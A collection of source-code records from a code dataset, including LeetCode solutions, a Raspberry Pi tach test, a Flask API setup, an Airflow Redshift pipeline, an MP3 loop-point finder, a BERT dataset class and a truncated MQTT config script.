+{"seq_id":"633455951","text":"# https://leetcode.com/problems/find-the-difference/description/\n\n\"\"\"\nSolution.\nComplexity analysis:\nTime: O(N + M) - in worst case\nMemory: O(1) - always\n\"\"\"\n\nclass Solution:\n    def findTheDifference(self, s, t):\n        element = 0\n        for c in s:\n            element ^= ord(c)\n        for c in t:\n            element ^= ord(c)\n        \n        return chr(element)","sub_path":"Problems/leetcode/Find_the_Difference_389.py","file_name":"Find_the_Difference_389.py","file_ext":"py","file_size_in_byte":370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"325701389","text":"#!/usr/bin/evn python3\n\n#this program just goes through the various inclines and makes a table for you\n\nimport serial\nimport time\nimport binascii\nimport sb_lib\nimport readline\nimport os\nimport sys\nimport subprocess\n\n#open lxterminal and type \"sudo systemctl enable pigpiod\" to support import pigpio\nimport pigpio\nimport RPi.GPIO as IO\n\n\ndef common():\n    print(\"see wiki for commands\")\n    print(\"\")\n\n#===============main=====================\nif os.name == 'nt':\n    p = 'COM'\n    i = '1'\nelse:\n    p = '/dev/ttyUSB'\n    i = '0' \nif(len(sys.argv) > 1):\n    i = str(sys.argv[1])\np += i\n\n#open port \nser = serial.Serial(\n    port=p,\n    baudrate=38400,\n    parity=serial.PARITY_NONE,\n    stopbits=serial.STOPBITS_TWO,\n    bytesize=serial.SEVENBITS\n)\n\nser.isOpen();#just a safety check\n\nprint(\"Welcome to the ShortBus Terminal\")\n\"\"\"print(\" type a ShortBus command and hit enter and it will be sent\")\nprint(\" use format \\\"address command data\\\" for quicker entry\")\nprint(\" omit the 3rd argument (data) for a get, otherwise it\")\nprint(\" assumes its a set command\")\nprint(\" type 'q' to quit\")\"\"\"\n\n\"\"\"GPIO=3 #for pedal encoder hardware verification\nsquare = []\n#                          ON       OFF    MICROS\nsquare.append(pigpio.pulse(1<<GPIO, 0,       113))\nsquare.append(pigpio.pulse(0,       1<<GPIO, 10))\npi = pigpio.pi() # connect to local Pi\npi.set_mode(GPIO, pigpio.OUTPUT)\npi.wave_add_generic(square)\nwid = pi.wave_create()\nif wid >= 0:\n   pi.wave_send_repeat(wid)\n   time.sleep(.1)\n   #pi.wave_tx_stop()\n   #pi.wave_delete(wid)\n   #m = bytearray(b\"\")\n   print(\"\\n\\n----------------------------------------------------\")\n   print(\"                  Encoder verify\")\n   print(\"----------------------------------------------------\")\n   sb_lib.sendMsg(ser,\"51 5\")\n   time.sleep(3)\"\"\"\n   \n   \nIO.setwarnings(False)           #do not show any warnings\nIO.setmode (IO.BCM)         #we are programming the GPIO by BCM pin numbers. (PIN5 as ‘GPIO3’)\nIO.setup(3,IO.OUT)           # initialize GPIO3 as an output.\np = IO.PWM(3,10)          #GPIO3 as PWM output, with 10Hz frequency\np.start(10)                              #generate PWM signal with 50% duty cycle\n\nwhile 1:\n   print(\"\\n\\n----------------------------------------------------\")\n   print(\"               Tach verify\")\n   print(\"----------------------------------------------------\")\n   sb_lib.sendMsg(ser,\"51 2\")\n   time.sleep(3)\n   \n   \n   \n#input(\"Press Enter to run again.\")\n#subprocess.Popen(\"%Run sb_terminal_mod.py\", shell=True)","sub_path":"pbvr_Pi/RaspberryPi/PBVR_422/tachTest.py","file_name":"tachTest.py","file_ext":"py","file_size_in_byte":2496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"18357476","text":"import datetime\nfrom flask import Flask, session, request\nfrom flask_restful import Api\nfrom werkzeug.utils import redirect\n\nfrom app.common.database import Database\nfrom app.common.response import Response\nfrom app.resources.element import Element, SubElement, ElementValue, BuildProductsReport, BuildComparatorTable, BuildComparatorTableExcel\n\nfrom app.resources.privilege import Privilege\nfrom app.resources.routines import Routine\nfrom app.resources.uploadData import UploadData\nfrom app.resources.user import UserStatus, User, UserFavorites, UserList\nfrom config import config\n\n\ndef create_app(config_name):\n    app = Flask(__name__)\n    api = Api(app)\n    app.config.from_object(config[config_name])\n    # Register our blueprints\n    from .default import default as default_blueprint, groupon\n    app.register_blueprint(default_blueprint)\n    app.register_blueprint(groupon, url_prefix=\"/opt\")\n\n    api.add_resource(UserStatus, '/userstatus')\n    api.add_resource(User, '/user/<string:email>', '/user')\n    api.add_resource(UserList, '/users')\n    api.add_resource(Element, '/elements/<string:element_type>', '/elements/<string:element_type>/<string:element_id>')\n    api.add_resource(SubElement, '/subelements/<string:element_type>/<string:element_id>')\n    api.add_resource(ElementValue,\n                     '/elementvalue/<string:element_type>/<string:element_id>/<string:begin_date>/<string:end_date>')\n    api.add_resource(UserFavorites, '/user/favorites')\n    api.add_resource(Privilege, '/user/privilege', '/user/privilege/<string:target_user_mail>')\n    api.add_resource(UploadData, '/uploaddata')\n\n    api.add_resource(BuildProductsReport, '/elements/<string:element_type>/report/<string:element_ids>/'\n                                          '<string:start_date>/<string:end_date>')\n    api.add_resource(BuildComparatorTable, '/comparator_table')\n    api.add_resource(BuildComparatorTableExcel, '/comparator_table/excel')\n\n    api.add_resource(Routine, '/routine/<string:routine>')\n\n    @app.after_request\n    def after_request(response):\n        response.headers.add('Access-Control-Allow-Origin', '*')\n        response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')\n        response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE')\n        return response\n\n    @app.before_first_request\n    def init_db():\n        Database.initialize()\n        session.permanent = True\n        app.permanent_session_lifetime = datetime.timedelta(days=7)\n\n    @app.before_request\n    def check_login():\n        now = datetime.datetime.now()\n        try:\n            first_active = session['time_created']\n            delta = now - first_active\n            if delta > datetime.timedelta(days=7):\n                session.clear()\n        except Exception:\n            pass\n        api_call = request.path.lstrip('/').split('/')[0]\n        api_calls = ['company', 'user', 'elements', 'subelements', 'elementvalue']\n        if session.get('email') is None and session.get('_id') is None and api_call in api_calls:\n            if api_call != 'user' and request.method != 'POST':\n                return redirect('/#/screen')\n\n    return app\n","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"356065463","text":"class Solution:\n    def solveNQueens(self, n: int) -> List[List[str]]:\n\n        def dfs(queens, xy_sub, xy_sum):\n            p = len(queens)\n            if p == n:\n                res.append(queens[:])\n                return\n            for j in range(n):\n                if j not in queens and p - j not in xy_sub and p + j not in xy_sum:\n                    queens.append(j)\n                    xy_sub.append(p - j)\n                    xy_sum.append(p + j)\n                    dfs(queens, xy_sub, xy_sum)\n                    queens.pop()\n                    xy_sub.pop()\n                    xy_sum.pop()\n        res = []\n        dfs([], [], [])\n        return [['.' * i + 'Q' + '.' * (n - i - 1) for i in row] for row in res]","sub_path":"Week_07/N皇后.py","file_name":"N皇后.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"114229987","text":"\n# with open('a.txt', 'r') as f:\n\n#     di = dict()\n#     for line in f.readlines():\n#         line = line.rstrip()\n#         words = line.split()\n#         for w in words:\n#             di[w] = di.get(w, 0) + 1\n#             # print(w, di[w])\n\n#     largest = -1\n#     the_word = None\n#     for key, value in di.items():\n#         # print(key, value)\n#         if value > largest:\n#             largest = value\n#             the_word = key\n\n#     print(the_word, largest)\n\nwith open('file.txt', 'r') as f:\n\n    di = dict()\n    for line in f.readlines():\n        line = line.rstrip()\n        words = line.split()\n        for w in words:\n            di[w] = di.get(w, 0) + 1\n            # print(w, di[w])\n\n    # print(di)\n\n    # x = sorted(di.items())\n    # # print(x)\n    # print(x[:5])\n\n    tmp = list()\n    for key, value in di.items():\n        # print(key, value)\n        newtup = (value, key)\n        tmp.append(newtup)\n\n    tmp = sorted(tmp, reverse=True)\n\n    # print(tmp[0:5])\n\n    for value, key in tmp[:5]:\n        print(key, value)\n\n","sub_path":"dictionary/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"514927559","text":"# This is a prototype of a budgeting App. The App is based on calculation and comparison of alternative courses of action.\n# This is a command line prototype only.\n\nimport numpy as np\nimport pandas\nimport pandas as pd\nimport tkinter as tk\nimport datetime\nimport calendar\n\n\n##########################################\n# PAYDAYS\n##########################################\n# Set calendar and paydays of each month\n# input(enter pay days of the month)\nPAYDAY1 = \"07\"\nPAYDAY2 = \"10\"\nPAYDAY3 = \"22\"\n\nPAYDAYS = [int(PAYDAY1), int(PAYDAY2), int(PAYDAY3)]\nprint(f\"Selected paydays are: {PAYDAYS}.\")\n\n\n# Returns the current local date\ntoday = datetime.date.today()\n\n# important days of the month\ntodays_year = today.year\ntodays_month = today.month\ntodays_day = today.day\n\n\n# which payday is next?\nfewest_days_left = [min(int(PAYDAY3) - todays_day, int(PAYDAY2) - todays_day, int(PAYDAY1) - todays_day)]\nnext_payday = \"\"\nfor dl in fewest_days_left:\n    if dl + 1 == int(PAYDAY1):\n        next_payday = PAYDAY1\n    elif dl + 1 == int(PAYDAY2):\n        next_payday = PAYDAY2\n    else:\n        next_payday = PAYDAY3\n\nprint(f\"Today's date is: {today}, day: {todays_day}, month: {todays_month}, year: {todays_year}.\")\nprint(f\"The soonest payday is {next_payday}.\")\n\n##########################################\n# BUDGET\n##########################################\n# import budget csv file.\nbudget_file = pd.read_csv(\"budget.csv\")\n\n# create data frame from csv\nbudget_df = pd.DataFrame(budget_file, columns=[\"date\", \"payday\", \"actual\", \"vendor\", \"frequency\", \"in-out\", \"type\", \"category\", \"description\", \"account\", \"amount\"])\n\n# Convert date string to datetime\nbudget_df['date'] = pd.to_datetime(budget_df['date'], format=\"%d-%b-%y\")\n\n# extract year and month into 'year', 'month' and 'day' columns from the 'date'\nbudget_df['year'] = pd.DatetimeIndex(budget_df['date']).year\nbudget_df['month'] = pd.DatetimeIndex(budget_df['date']).month\nbudget_df['day'] = pd.DatetimeIndex(budget_df['date']).day\n\n# Every month there are the following budget pay-periods:\n\nfor i, day in budget_df.day.items():\n    if day >= int(PAYDAY1) and day < int(PAYDAY2):\n        budget_df.loc[i, \"payperiod\"] = f\"budget_{budget_df.loc[i, 'month']}_{PAYDAY1}\"\n    elif day >= int(PAYDAY2) and day < int(PAYDAY3):\n        budget_df.loc[i, \"payperiod\"] = f\"budget_{budget_df.loc[i, 'month']}_{PAYDAY2}\"\n    else:\n        budget_df.loc[i, \"payperiod\"] = f\"budget_{budget_df.loc[i, 'month']}_{PAYDAY3}\"\n\n\n# print(budget_df[\"payperiod\"])\n\n# Create period subtotals by type and category\nbudget_df = pd.pivot_table(budget_df, values=\"amount\", index=[\"in-out\", \"type\", \"category\"], columns=['payperiod'], aggfunc=np.sum, fill_value=0, margins=True)\n\nbudget_pivot_df = pd.DataFrame(budget_df)\n\n\n# filter period subtotals on each period of month 7\n\nbudget_7_07 = budget_pivot_df[[\"budget_7_07\"]]\n\nbudget_7_10 = budget_pivot_df[[\"budget_7_10\"]]\n\nbudget_7_22 = budget_pivot_df[[\"budget_7_22\"]]\n\nbudget_7_22_df = pd.DataFrame(budget_7_22)\n\n\n# print(f\"{budget_7_22_df}\")\n\n\n##########################################\n# ACTUAL\n##########################################\n# import actual csv file.\n# create data frame from csv\nactual_file = pd.read_csv(\"actual.csv\")\nactual_df = pd.DataFrame(actual_file, columns=[\"date\", \"month\", \"year\", \"day\", \"payperiod\", \"actual\", \"vendor\", \"frequency\", \"in-out\", \"type\", \"category\", \"description\", \"account\", \"amount\"])\n\n# Convert date string to datetime and extract year, month, day into columns from the 'date'\nactual_df['date'] = pd.to_datetime(actual_df['date'], format=\"%d-%b-%y\")\nactual_df['year'] = pd.DatetimeIndex(actual_df['date']).year\nactual_df['month'] = pd.DatetimeIndex(actual_df['date']).month\nactual_df['day'] = pd.DatetimeIndex(actual_df['date']).day\n\n\n# Every month there are the following actual pay-periods:\n\nfor i, day in actual_df.day.items():\n    if day >= int(PAYDAY1) and day < int(PAYDAY2):\n        actual_df.loc[i, \"payperiod\"] = f\"actual_{actual_df.loc[i, 'month']}_{PAYDAY1}\"\n    elif day >= int(PAYDAY2) and day < int(PAYDAY3):\n        actual_df.loc[i, \"payperiod\"] = f\"actual_{actual_df.loc[i, 'month']}_{PAYDAY2}\"\n    else:\n        actual_df.loc[i, \"payperiod\"] = f\"actual_{actual_df.loc[i, 'month']}_{PAYDAY3}\"\n\n\n#print(actual_df[\"payperiod\"])\n\n# Create period subtotals by type and category\nactual_pivot = pd.pivot_table(actual_df, values=\"amount\", index=[\"in-out\", \"type\", \"category\"], columns=['payperiod'], aggfunc=np.sum, fill_value=0, margins=True)\n\nactual_pivot_df = pd.DataFrame(actual_pivot)\n\n\n# merge budget and actual pivots\n\n# filter period subtotals on each period of month 7\n\nactual_7_07 = actual_pivot_df[[\"actual_7_07\"]]\n\nactual_7_10 = actual_pivot_df[[\"actual_7_10\"]]\n\nactual_7_22 = actual_pivot_df[[\"actual_7_22\"]]\n\nactual_7_22_df = pd.DataFrame(actual_7_22)\n\n\n\n\n# print(f\"{actual_7_22_df}\")\n\n\n\n# merge budget and actual summaries\n\nmerged_7_22 = pd.concat([budget_7_22_df, actual_7_22_df], axis=1, join=\"outer\")\n\nmerged_7_22_df = pd.DataFrame(merged_7_22, columns=[\"budget_7_22\", \"actual_7_22\"])\n\nmerged_7_22_df['differ'] = merged_7_22_df['budget_7_22'] - merged_7_22_df['actual_7_22']\n\n\n\nprint(merged_7_22_df)\n\n# convert to dataframe\n# actual_month7 = pd.pivot_table(actual_df[(actual_df.month == 7)], values=\"amount\", index=[\"in-out\", \"type\", \"category\"], columns=actual_df['month'], aggfunc=np.sum)\n#\n# actual_7_df = pd.DataFrame(actual_month7)\n\n# Window\nwindow = tk.Tk()\nwindow.title(\"Forecash\")\nwindow.minsize(width=800, height=900)\n\n# Label_merged\nlabel_merged_7_22 = tk.Label(text=f\"{merged_7_22_df}\", font=(\"Arial\", 14))\nlabel_merged_7_22.grid(column=1, row=1)\n\n\n\n#TODO 5 - compare actuals to budgets and divide by remaining period to date\n\n#TODO 6 - create transaction input questions and budget input questions\n\n#TODO 7 - trigger subtotals with each input and with each new date\n\n#TODO 8 - create alternative choices how to save money and keep positive balance.\n\n#TODO 9 - save the refreshed results to CSV.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nwindow.mainloop()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"260611360","text":"\nfrom Tkinter import *\nfrom tkSimpleDialog import askstring\nfrom tkFileDialog   import asksaveasfilename\n\nfrom tkMessageBox import askokcancel\n\nfrom compiler.lisp_compiler import LispCompiler\n\n\nclass Quitter(Frame):\n    def __init__(self, parent=None):\n        Frame.__init__(self, parent)\n        self.pack()\n    def quit(self):\n        ans = askokcancel('Verify exit', \"Really quit?\")\n        if ans: Frame.quit(self)\n\n\nclass ScrolledText(Frame):\n    def __init__(self, parent=None, text='', file=None):\n        Frame.__init__(self, parent)\n        self.pack(expand=YES, fill=BOTH)\n        self.makewidgets()\n        self.settext(text, file)\n    def makewidgets(self):\n        sbar = Scrollbar(self)\n        text = Text(self, relief=SUNKEN)\n        sbar.config(command=text.yview)\n        text.config(yscrollcommand=sbar.set)\n        sbar.pack(side=RIGHT, fill=Y)\n        text.pack(side=LEFT, expand=YES, fill=BOTH)\n        self.text = text\n    def settext(self, text='', file=None):\n        if file:\n            text = open(file, 'r').read()\n        self.text.delete('1.0', END)\n        self.text.insert('1.0', text)\n        self.text.mark_set(INSERT, '1.0')\n        self.text.focus()\n    def gettext(self):\n        return self.text.get('1.0', END+'-1c')\n\nclass popupWindow(object):\n    def __init__(self,master):\n        top=self.top=Toplevel(master)\n        self.l=Label(top,text=\"Enter value\")\n        self.l.pack()\n        self.e=Entry(top)\n        self.e.pack()\n        self.b=Button(top,text='Ok',command=self.cleanup)\n        self.b.pack()\n    def cleanup(self):\n        self.value=self.e.get()\n        self.top.destroy()\n\nclass SimpleEditor(ScrolledText):\n    def __init__(self, parent=None, file=None):\n        frm = Frame(parent)\n        frm.pack(fill=X)\n        Button(frm, text='RUN',  command=self.onSave).pack(side=LEFT)\n        Quitter(frm).pack(side=LEFT)\n        ScrolledText.__init__(self, parent, file=file)\n        self.text.config(font=('courier', 18, 'normal'))\n\n        self.compiler = LispCompiler()\n        self.compiler.editor = self\n\n    def onSave(self):\n        alltext = self.gettext()\n        self.compiler.execute_code(alltext)\n\n    def popup(self):\n        self.w=popupWindow(self.master)\n        self.master.wait_window(self.w.top)\n\n    def entryValue(self):\n        return self.w.value","sub_path":"form/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"436263175","text":"from datetime import datetime, timedelta\nimport os\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.operators import (StageToRedshiftOperator, LoadFactOperator, LoadDimensionOperator, DataQualityOperator)\nfrom helpers import SqlQueries\n\ndefault_args = {\n    'owner': 'sparkify',\n    'depends_on_past': False,\n    'start_date': datetime(2019, 8, 14),\n    'email': ['contato@renato.dev'],\n    'email_on_retry': False,\n    'retries': 3,\n    'retry_delay': timedelta(minutes=5),\n    'catchup': False\n}\n\ndag = DAG('sparkify_analytics_dag',\n          default_args=default_args,\n          description='Load and transform Sparkify data in Redshift with Airflow',\n          schedule_interval='0 * * * *',\n          catchup=False\n          )\n\nstart_operator = DummyOperator(task_id='Begin_execution', dag=dag)\n\nstage_events_to_redshift = StageToRedshiftOperator(\n    task_id='Stage_events',\n    dag=dag,\n    redshift_conn_id='redshift_sparkify',\n    aws_credentials_id='aws_credentials',\n    aws_region='us-east-1',\n    s3_bucket='rlsr-dend/sparkify',\n    s3_key='log-data',\n    table='staging_events',\n    json_path='s3://rlsr-dend/sparkify/log_json_path.json',\n)\n\nstage_songs_to_redshift = StageToRedshiftOperator(\n    task_id='Stage_songs',\n    dag=dag,\n    redshift_conn_id='redshift_sparkify',\n    aws_credentials_id='aws_credentials',\n    aws_region='us-east-1',\n    s3_bucket='rlsr-dend/sparkify',\n    s3_key='song_data',\n    table='staging_songs',\n    json_path='auto',\n)\n\nload_songplays_table = LoadFactOperator(\n    task_id='Load_songplays_fact_table',\n    dag=dag,\n    redshift_conn_id='redshift_sparkify',\n    destination_table='songplays',\n    insert_select_statement=SqlQueries.songplay_table_insert\n)\n\nload_user_dimension_table = LoadDimensionOperator(\n    task_id='Load_user_dim_table',\n    dag=dag,\n    redshift_conn_id='redshift_sparkify',\n    destination_table='users',\n    insert_select_statement=SqlQueries.user_table_insert\n)\n\nload_song_dimension_table = LoadDimensionOperator(\n    task_id='Load_song_dim_table',\n    dag=dag,\n    redshift_conn_id='redshift_sparkify',\n    destination_table='songs',\n    insert_select_statement=SqlQueries.song_table_insert\n)\n\nload_artist_dimension_table = LoadDimensionOperator(\n    task_id='Load_artist_dim_table',\n    dag=dag,\n    redshift_conn_id='redshift_sparkify',\n    destination_table='artists',\n    insert_select_statement=SqlQueries.artist_table_insert,\n)\n\nload_time_dimension_table = LoadDimensionOperator(\n    task_id='Load_time_dim_table',\n    dag=dag,\n    redshift_conn_id='redshift_sparkify',\n    destination_table='time',\n    insert_select_statement=SqlQueries.time_table_insert\n)\n\nrun_quality_checks = DataQualityOperator(\n    task_id='Run_data_quality_checks',\n    dag=dag,\n    redshift_conn_id='redshift_sparkify',\n    rules=[\n        {'query': SqlQueries.artist_table_size, 'op': lambda x: x > 0},\n        {'query': SqlQueries.time_table_size, 'op': lambda x: x > 0},\n        {'query': SqlQueries.user_table_size, 'op': lambda x: x > 0},\n        {'query': SqlQueries.song_table_size, 'op': lambda x: x > 0},\n        {'query': SqlQueries.songplay_table_size, 'op': lambda x: x > 0},\n        {'query': SqlQueries.artist_table_fields_null, 'op': lambda x: x == 0},\n        {'query': SqlQueries.time_table_fields_null, 'op': lambda x: x == 0},\n    ]\n)\n\nend_operator = DummyOperator(task_id='Stop_execution', dag=dag)\n\nstart_operator >> stage_events_to_redshift\nstart_operator >> stage_songs_to_redshift\n\nstage_events_to_redshift >> load_songplays_table\nstage_songs_to_redshift >> load_songplays_table\n\nload_songplays_table >> load_user_dimension_table\nload_songplays_table >> load_song_dimension_table\nload_songplays_table >> load_artist_dimension_table\nload_songplays_table >> load_time_dimension_table\n\nload_user_dimension_table >> run_quality_checks\nload_song_dimension_table >> run_quality_checks\nload_artist_dimension_table >> run_quality_checks\nload_time_dimension_table >> run_quality_checks\n\nrun_quality_checks >> end_operator\n","sub_path":"dags/sparkify_analytics_dag.py","file_name":"sparkify_analytics_dag.py","file_ext":"py","file_size_in_byte":4043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"545285955","text":"import os\nimport numpy as np\nfrom mpg123 import Mpg123\n\n\nclass UnsuccessfulLoop(Exception):\n    pass\n\n\nclass MusicFile:\n    def __init__(self, filename):\n        # Load the file, if it exists and is an mp3 file\n        if os.path.exists(filename) and os.path.isfile(filename):\n            if filename[-3:].lower() == 'mp3':\n                mp3 = Mpg123(filename)\n            else:\n                raise TypeError(\n                        \"This script can currently only handle MP3 files.\")\n        else:\n            raise FileNotFoundError(\"Specified file not found.\")\n\n        # Get the waveform data from the mp3 file\n        frames = list(mp3.iter_frames())\n        self.frames = frames\n\n        # Get the metadata from the mp3 file\n        self.rate, self.channels, self.encoding = mp3.get_format()\n\n    def calculate_max_frequencies(self):\n        \"\"\"Uses the real Fourier transform to get the frequencies over\n        time for the file. Records the strongest frequency over time from\n        a \"fingerprint\" region associated with the song's melody.\n        \"\"\"\n\n        # Fourier transform each frame of the file\n        frame_ffts = []\n\n        # The first 1 and last 2 frames are omitted since they are\n        # frequently of different lengths than the rest of the file\n        start_frame, end_frame = (1, len(self.frames) - 2)\n        for i in range(start_frame, end_frame):\n            # Decode the frame (stored as a byte array)\n            # into a numpy int16 array\n            # (NOTE: this assumes a 16-bit encoding, which was true\n            # for the files tested, but won't necessarily always be true\n            arr = np.frombuffer(self.frames[i], dtype=np.int16)\n\n            # Take just the first channel, so that we only need\n            # to work with one time series\n            arr = arr[::self.channels]\n\n            # Perform the Fourier transform\n            frame_fft = np.abs(np.fft.rfft(arr))\n            frame_ffts.append(frame_fft)\n\n        # Convert the list of ffts to a numpy.ndarray (easier to work with)\n        fft_2d = np.stack(frame_ffts)\n\n        # Get frequency information\n        # (Should be identical for each frame, except sometimes\n        # the first and last frames, which we omitted)\n        frame_freq = np.fft.rfftfreq(len(arr))\n\n        # Clip the data to a smaller range of frequencies. For the files\n        # tested, this range corresponded to a \"fingerprint\" region\n        # where the actual melody resides.\n        clip_start, clip_end = (1, 25)\n        frame_freq_sub = frame_freq[clip_start:clip_end]\n        fft_2d_sub = fft_2d[:, clip_start:clip_end]\n\n        # Mask out low-amplitude frequencies so that we don't match to noise\n        # (this is done on a proportional threshold\n        # since absolute magnitudes vary)\n        fft_2d_denoise = np.ma.masked_where(\n            (fft_2d_sub.T < fft_2d_sub.max() * 0.25),\n            fft_2d_sub.T, False)\n\n        # Finally, get the dominant frequency for each frame\n        # (and mask it to omit any points where the dominant frequency is\n        # just the baseline frequency)\n        max_freq = frame_freq_sub[np.argmax(fft_2d_denoise, axis=0)]\n        self.max_freq = np.ma.masked_where(max_freq == frame_freq_sub[0], max_freq)\n\n    def sig_corr(self, s1, s2, comp_length):\n        \"\"\"Calculates the auto-correlation of the track (as compressed into\n        max_freq) with itself, based on sub-samples starting at frames\n        s1 and s2, each comp_length frames long.\"\"\"\n\n        # np.corrcoef returns an array of coefficients -\n        # the simple 'R' value is at row 1, col 0\n        return np.corrcoef(\n                self.max_freq[s1:s1+comp_length],\n                self.max_freq[s2:s2+comp_length])[1, 0]\n\n    def pct_match(self, s1, s2, comp_length):\n        \"\"\"Calculates the percentage of matching notes between\n        two subsamples of self.max_freq, each one comp_length notes long,\n        one starting at s1 and one starting at s2\n        \"\"\"\n\n        matches = (self.max_freq[s1:s1+comp_length] == self.max_freq[s2:s2+comp_length])\n        return np.ma.sum(matches) / np.ma.count(matches)\n\n    def find_loop_point(self, start_offset=0, test_len=600):\n        \"\"\"Finds matches based on auto-correlation over a portion\n        of the music track.\"\"\"\n\n        # Using heuristics for the test length and \"loop to\" point.\n        # NOTE: this algorithm is arbitrary and could certainly be improved,\n        # especially for cases where the loop point is not totally clear\n\n        # Number of points to test for start, the larger the number, the more points\n        # will be tested giving a better loop, but also taking longer to calculate\n        num_start_iterations = 25\n\n        max_corr = 0\n        best_start = None\n        best_end = None\n        max_end = len(self.max_freq)-test_len\n        step = int((max_end-test_len-start_offset) / num_start_iterations)\n        for start in range(start_offset, max_end-test_len, step):\n            for end in range(start + test_len, max_end):\n                best_start, best_end, max_corr = self.test_points(start, end, test_len, max_corr, best_start, best_end)\n        if max_corr <= 0:\n            raise UnsuccessfulLoop\n        return best_start, best_end, max_corr\n\n    def test_points(self, start, end, test_len, max_corr, best_start, best_end):\n        \"\"\"Tests a particular set of start and end points against the stored current best\n        If these points are better than the current best, then make them the new best\"\"\"\n        # Uses a slight bias to prefer earlier loop points, this keeps filesize down\n        # Default of -0.0003 gives 96.5% after 2 minutes, 91% after 5 minutes\n        bias = -0.0003\n\n        sc = self.sig_corr(start, end, test_len)\n        if sc > max_corr:\n            # Check against bias, protecting against unassigned values first\n            if best_start is None or \\\n                    np.exp(bias * self.time_of_frame(end)) * sc > \\\n                    np.exp(bias * self.time_of_frame(best_end)) * max_corr:\n                best_start = start\n                best_end = end\n                max_corr = sc\n        return best_start, best_end, max_corr\n\n    def time_of_frame(self, frame):\n        samples_per_sec = self.rate * self.channels\n\n        # NOTE: division by 2 assumes 16-bit encoding\n        samples_per_frame = len(self.frames[1]) / 2\n\n        frames_per_sec = samples_per_sec / samples_per_frame\n        time_sec = frame / frames_per_sec\n        return time_sec\n\n    def sample_of_frame(self, frame):\n        # NOTE: division by 2 assumes 16-bit encoding\n        samples_per_frame = len(self.frames[1]) / 2 / self.channels\n        sample = frame * samples_per_frame\n        return int(sample)\n","sub_path":"loop.py","file_name":"loop.py","file_ext":"py","file_size_in_byte":6736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"4464451","text":"import BERT.config\nimport torch\n\nclass BERTDataset:\n    def __init__(self, q1, q2, target):\n        self.q1 = q1\n        self.q2 = q2\n        self.target = target\n        self.tokenizer = config.TOKENIZER\n        self.max_len = config.MAX_LEN\n    \n    def __len__(self):\n        return len(self.q1)\n    \n    def __getitem__(self, item):\n        q1 = str(self.q1[item])\n        q2 = str(self.q2[item])\n        \n        q1 =  \" \".join(q1.split())\n        q2 =  \" \".join(q2.split())\n        \n        inputs = self.tokenizer.encode_plus(q1,q2,add_special_tokens = True, max_length=self.max_len, padding='longest',truncation=True)\n        \n        ids = inputs[\"input_ids\"]\n        mask = inputs[\"attention_mask\"]\n        token_type_ids = inputs[\"token_type_ids\"]\n        \n        padding_length = self.max_len - len(ids)\n        ids = ids + ([0] * padding_length)\n        mask = mask + ([0] * padding_length)\n        token_type_ids = token_type_ids + ([0] * padding_length)\n        \n        return {'ids':torch.tensor(ids,dtype=torch.long), 'mask' : torch.tensor(mask, dtype = torch.long), 'token_type_ids' : torch.tensor(token_type_ids, dtype = torch.long), 'targets' : torch.tensor(self.target[item], dtype=torch.long)}\n        \n        \n","sub_path":"KG/TripleScorer/BERT/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"142478416","text":"def merge(A,B):\n    C = []\n    while(len(A)>0 and len(B)>0):\n        if(A[0]<B[0]):\n            C.append(A[0])\n            A = A[1:]\n        else:\n            C.append(B[0])\n            B = B[1:]\n    if(len(A)>0):\n        C+=A\n    if(len(B)>0):\n        C+=B\n    return C\n\ndef mergeSort(a,n):\n    if(n==1):\n        return a\n    m = n//2\n    A = mergeSort(a[:m],len(a[:m]))\n    B = mergeSort(a[m:],len(a[m:]))\n    c = merge(A,B)\n    return c\n\nif __name__ == \"__main__\":\n    array = list(map(int,input().split()))\n    print(mergeSort(array,len(array)))\n","sub_path":"sorting/mergeSort.py","file_name":"mergeSort.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"493123503","text":"#------------ImportFiles\r\nimport configparser\r\nimport paho.mqtt.client as mqtt \r\nimport time\r\nimport os\r\n#------------add it as a executable function\r\nconfig = configparser.ConfigParser()\r\n\r\n\r\n\r\n#------------Donload file as readable/writeable\r\nconfig.read('ripple.ini')\r\n\r\n\r\n#------------prints all of the funktions in ripple\r\nfor section in config.sections():\r\n\r\n    #---------print top class\r\n    print(section)\r\n    #---------once there is one top class we add the connected keys and contents and then jump to the next top class and repeat\r\n    for key in config[section]:\r\n        print (section,\"-\",key,\"=\",config[section] [key])\r\n\r\n\r\n\r\n\r\n#--------paramters of mqtt server\r\nclient = mqtt.Client(config ['mqtt'][\"client-id\"])\r\n\r\n#-------check to seee if funktion client is working\r\n#print(\"The type is : \",type(client))\r\n\r\n\r\n#--------paramters of mqtt server\r\nclient.username_pw_set(config ['mqtt'][\"user\"], config ['security'][\"key-value\"])\r\n\r\n\r\n#--------mqqtt call back funktion\r\n#client.on_connect=on_connect\r\n\r\n\r\n#--------connect to mqtt\r\nclient.connect(config ['mqtt'][\"broker\"]) \r\n\r\n\r\n\r\n\r\n\r\n\r\n#--------loop 